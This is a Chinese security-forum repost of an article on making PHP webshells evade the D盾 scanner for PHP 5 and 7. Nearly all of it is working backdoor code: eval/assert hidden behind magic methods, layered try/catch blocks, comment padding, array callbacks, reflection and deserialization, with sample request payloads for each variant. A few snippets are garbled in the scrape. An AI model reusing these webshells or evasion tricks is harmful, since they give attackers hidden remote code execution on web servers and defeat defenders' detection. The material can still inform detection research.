安全矩阵

 找回密码
 立即注册
搜索
查看: 2416|回复: 0

webshell免杀的一点尝试—php5,php7(过d盾2.1.6.2-0105更新版)

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-1-31 09:02:58 | 显示全部楼层 |阅读模式
webshell免杀的一点尝试—php5,php7(过d盾2.1.6.2-0105更新版)维生素泡腾片 [url=]web安全工具库[/url] 2022-01-30 00:00
收录于话题
#webshell2个
#WAF绕过1个
#D盾1个
原文作者:维生素泡腾片
原文地址:https://xz.aliyun.com/t/10822
小酒馆吧
#音乐#鼓楼#情感#文案
视频号
前言看了很多师傅关于webshell的文章,可谓是各式各样,字符的,汉字的,混淆的,不可打印的,难免让我心痒痒也想来试一试,以d盾2.1.6.2扫不出来为目标

说道php,大部分的webshell(小马)归根到最后都是希望能够实现代码(或命令)执行,无外乎就离不开eval和assert,所以这篇文章也是以此为核心,提供一些绕过的思路。(抛砖引玉~)
字符串函数(与类的结合)关于字符串函数,尝试了很多,核心在于利用字符串函数进行各种错综复杂的拼接,然后实现可变函数调用,实现代码执行
但是d盾对于拼接和可变函数的识别是比较有效的
比如:之前在p师傅博客看的这种

确实够绕够混淆,但是放在d盾面前直接爆红了
所以直接赤裸裸的用可变函数这条思路可以暂且放下了
那么用字符串函数处理一下简单的放到函数里面效果如何
正在上传…重新上传取消
好像也是不行,那放到类里面会如何呢?


           

class A{    public function test($name){        $temp = substr($name,6);        $name = substr($name,0,6);        $name($temp);    }}$obj = new A();$obj->test($_GET[1]);payload=shell.php?0=assertphpinfo();
看来真应了那句话,没有什么是加一层解决不了的,如果有,那就再加一层,本文下面的很多尝试都有或多或少基于这句话,在混淆静态扫描很有效果。
类与魔术方法既然可以用类写,那是不是可以把类里魔术方法都试验一遍
构造和析构方法class A{    private $name;    public function __construct($name){        $this->name = $name;        $temp = substr($name,6);        $name = substr($name,0,6);        $name($temp);    }}$obj = new A($_GET[1]);## 析构方法class B{    private $name;    public function __construct($name){        $this->name = $name;    }    public function __destruct(){        $temp = substr($this->name,6);        $name = substr($this->name,0,6);        $name($temp);    }}$obj = new B($_GET[1]);正在上传…重新上传取消
get和se## set方法class Demo{    public function __set($name, $value){        $temp = substr($name,6);        $name = substr($name,0,6);        $name($temp);    }}$obj = new Demo();$obj->$_GET[1]='占位的';## get方法class Demo{    public function __get($name){        $temp = substr($name,6);        $name = substr($name,0,6);        $name($temp);    }}$obj = new Demo();echo $obj->$_GET[1];

       整体看会发现get和set方法也是比较简单的,比较省力。而且,这个字符串处理函数确实好用,这也算是增加一层的感觉(后面也有相关案例)
其他魔术方法其他魔术方法都可以沿用这种方式,与此雷同,我就把代码直接放过来,不多解释了,大家可以在此基础更多发挥
​​​​​​​
## toString方法class Demo{    private $name;    public function __construct($name){        $this->name = $name;    }    public function __toString(){        $temp = substr($this->name,6);        $name = substr($this->name,0,6);        $name($temp);        return '占位';    }}$obj = new Demo($_GET[1]);echo $obj;## clone方法class Demo{    private $name;    public function __construct($name){        $this->name = $name;    }    public function __clone(){        $temp = substr($this->name,6);        $name = substr($this->name,0,6);        $name($temp);    }}$obj = new Demo($_GET[1]);$obj2 = clone $obj;## call方法class Demo{    public function __call($name,$args){        $name($args[0]);    }}$obj = new Demo();$obj->$_GET[0]($_GET[1]);## callStatic方法(最简单)class Demo{    public static function __callStatic($name, $arguments){        $name($arguments[0]);    }}Demo:_GET[0]($_GET[1]);## isset方法class Demo{    public function __isset($name){        $temp = substr($name,6);        $name = substr($name,0,6);        $name($temp);    }}$obj = new Demo();isset($obj->$_GET[0]);## unset方法class Demo{    public function __unset($name){        $temp = substr($name,6);        $name = substr($name,0,6);        $name($temp);    }}$obj = new Demo();unset($obj->$_GET[0]);可以看出来,能够传参的魔术方法最简单,而d盾都是扫不出来的,只能说php语法过于灵活,诸如Demo:_GET[0]($_GET[1])或者是$obj->$_GET[0]($_GET[1])这种形式的语法结构,正则匹配也是很难去推测的。
代码结构与包含(php7可用)
从上个板块的试探中已经看出了一些端倪,那就是可以通过不同的代码结构进行嵌套,而绕过扫描,那我们就来进行下一步的试探。
try...catch...        简单包在函数里​​​​
function say($name){  try{      $temp = substr($name,6);      $name = substr($name,0,6);      $name($temp);  }catch (Exception $e){      var_dump($e);  }}say($_GET[1]);
这样就解决的文章开头部分无法在函数里出现的问题
     包含类里面(php7可用)
    因为php7之后,assert已经作为语言构造器的方式出现,也就是说不可以向可变函数那样,通过拼接执行,所以必须要直面这个问题。以下这个方法可以直接用assert,而实现绕过。

           

class A{    private $name;    public function __construct($name){        $this->name = $name;    }    public function __destruct(){        try{            assert($this->name);        }catch (Exception $e){            $e->getMessage();        } finally {            echo 'suibian';        }    }}new A($_GET[1]);

可以看出,多加个一层,就扫不出来了,try...catch...的结构很灵活,还可以在catch,finally的代码块里写。

           

  •        

## 写到catch里class A{    public function __destruct(){        try{            throw new ErrorException($_GET[1]);        }catch (Exception $e){            assert($e->getMessage());        } finally {            echo 'suibian';        }    }}new A();## 写到finally里class A{    public function __destruct(){        try{            $this->a = $_GET[1];            $name=substr($this->a,0);        }catch (Exception $e){            echo 'abc';        } finally {            assert($name);        }    }}new A();

其中,写到finally中做了一个处理,如果直接用会被识别出来,所以上面加了一个字符串函数。另外,换了变量,竟然作用域能够得到,还是php够灵活,其实用加个构造方法就没什么问题的,只不过想让代码量更短小(其实就是懒了)
包多层混淆(php7可用)刚刚试过函数包含try...catch...,但是,还是用的可变函数,能不能assert甚至eval也都能直接用,试验下来,直接放到try和finally里是不行的(还可以试验一下字符串处理函数。。。),放到catch里可以​​​​​​​
function show(){    try{        throw new ErrorException($_GET[1]);    }catch (Exception $e){        assert($e->getMessage());    } finally {        echo 'suibian';    }}show();

但是,还是不死心,如何在try里能通过,既然两层不够,就再加一层,毕竟还有eval没有试验呢

现实还是很无情的,不过,看起来确实是这样的,外面再加一层try...catch...不过是换汤不换药罢了,显得不太礼貌哈。但是,有意思的事情发生了,我在上面加一个try...catch..,就扫不出来了。
​​​​​​​
try {    echo '占位';}catch (Exception $e){    echo '占位';}try {    function show($name){        try{            assert($name);        }catch (Exception $e){            var_dump($e);        }    }    show($_GET[1]);}catch (Exception $e){    echo 123;}正在上传…重新上传取消既然包多层是好用的,在不用类的情况下,尝试那再多包几层,看可不可行,把for,foreach,全部都用上​​​​​​
function say($name){    for ($i = 0; $i < 1; $i++) {        foreach ([1] as $v){            try {                assert($name);                throw new Exception($name);            }catch (Exception $exception){                assert($exception->getMessage());            }        }    }}say($_GET[1]);

发现,只要包的层够多,无论是在try的哪个位置写都扫不出来了,甚至eval写进去也是没问题的。

eval和assert(php7可用)其实,d盾在识别eval,assert上也算是挺严格的了,明面上的方式识别率都不低,而且,像早先冰蝎写到类里的方式,用invoke魔术方法触发,也是毫不迟疑的识别出来,所以要考虑一些比较稀奇古怪的方式来试试。
       一个奇怪的知识点(php5可用)
在各种测试的过程中发现,eval('$a')中,单引号包裹的变量是能够识别的,变量的值可以被替换再由eval执行,而assert('$a')中就不可以,所以做如下尝试。
$_GET[1];
$p = $_GET[2];abd($a,$p);function abd($a,$p){    eval('$a($p);');}

注释混淆(php7)从上文推测,可以尝试其他的混淆方式,比如用注释混淆一番

非常好用,其中注释的内容要够多,后面也要拼点啥,要不然也能扫出来,单行注释也能写,效果一样
​​​​​​​
function demo($name){    eval("/*cesjoe*/" . $name." " );}demo($_GET[1]);## 单行注释也可以function demo($name){    eval("//\r\n" . $name." " );}demo($_GET[1]);assert如何写
​​​​​​​
##多行注释function demo($name){    if ($name != null) {        $name = $name;        assert("/*cesjoe*/" . $name);    }}demo($_GET[1]);##单行注释function demo($name){    if ($name != null) {        $name = $name;        assert("//jaoijgoia\r\n" . $name);    }}demo($_GET[1]);

测试下来发现,assert的识别感觉比eval还严格呢,需要再包一层,而且还要加一行莫名其妙的代码糊弄一下,才扫不出来。
不用注释其实刚刚整体测试下来发现,不用注释,随便拼点什么都能绕过去,所以,就做了一番尝试


           

  •        

  •        

  •        

function demo($name){    if ($name != null) {        $name = $name;        assert( $name."echo 123;" );    }}demo($_GET[1]);function demo($name){    eval("echo 123;" . $name."echo 456; " );}demo($_GET[1]);的确如,诸如eval和assert,随便拼点什么都能过去。既然如此,能不能干脆把最外面的一层去掉,还原真正的‘一句话’呢?

看样没法如意,但是,从说明中看出来,它会自己去拼接推测,那我中间拦一道试试行不行​​​​​​​
$name = $_GET[1];$name = substr($name,0);eval("echo 123;" . $name."echo 456; " );

果然能过得去,assert也可以依照此法写出来
​​​​​​​
$name = $_GET[1];$name = substr($name,0);assert("\$a=123 and "."$name"."and 33333;",'echo 123;');其中,assert中第二个参数要写上,才能绕过,但是依然会给一个系统提醒(deprecated),因为assert推荐写法直接写表达式,而不是字符串拼接,虽然能够执行,参数是字符串的功能已经过时了,由此也可以看到,可变函数的路是越来越窄喽。
其他方式除了上面的众多写法外,还有一些利用可变函数结合的方式特殊方式,就在这边简单列出来看看,都是测试过能绕过的
回调函数​​​​​​​
//array_map()function Demo($b){  array_map(key($b), $b);}Demo($_GET);## payload:shell.php?assert=phpinfo();array_filter()function temp($x,$y){  $g = array(1,2,3,4,5,$y);  array_filter($g,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();//array_wal_recursive()function temp($x,$y){  $g = array(1,2,3,4,5,$y);  array_uintersect($g,$g,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();//array_uintersect_uassoc()function temp($x,$y){  $g = array('a'=>1,'b'=>2,'c'=>3,$y=>'d');  array_uintersect_uassoc($g,$g,$x,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();//array_uintersect_assoc()function temp($x,$y){  $g = array(1,2,3,4,5,$y);  array_uintersect_assoc($g,$g,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();
用反射的方式​​​​​​​
class One{    var $b;    function action($name){        $temp=$name[0];        $temp($name[1]);    }}$reflectionMethod = new ReflectionMethod('One', 'action');echo $reflectionMethod->invoke(new One(), $_GET);## payload:shell.php?0=assert&1=phpinfo();用反射的时候,如果是用ReflectionFunction(函数)反射类会被扫出来,所以只能用ReflectionMethod(对象的方法)反射类。用反序列化的方式​​​​​​​
class Basic{    public $name;    public $age;    public $args;    public function __wakeup(){        $tmp = $this->name.$this->age;        $this->name = new $tmp();    }    public function __destruct(){        $this->name->action($this->args);    }}class Process{    public function action($arg){        call_user_func($arg[0],$arg[1]);    }}unserialize($_GET[1]);## payload:shell.php?1=O:5:"Basic":3:{s:4:"name";s:3:"ro";s:3:"age";s:4:"cess";s:4:"args";a:2:{i:0;s:6:"assert";i:1;s:10:"phpinfo();";}}这个写的有点冗长,回头还可以再简短些试试,应该可以。
小结整篇文章针对webshell免杀的绕过方式罗列,总结下来可以体现为以下两个思路出发
     1.多层包含,凡是具有代码块结构的(流程控制,类,函数,异常处理),都可以尝试多次多顺序的包含尝试
      2.字符串处理,如果使用可变函数,多加几层字符串处理,会让其无法有效推测出最终拼接的字符串,尤其是变量同名覆盖,检测难度也会增加。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:49 , Processed in 0.015524 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表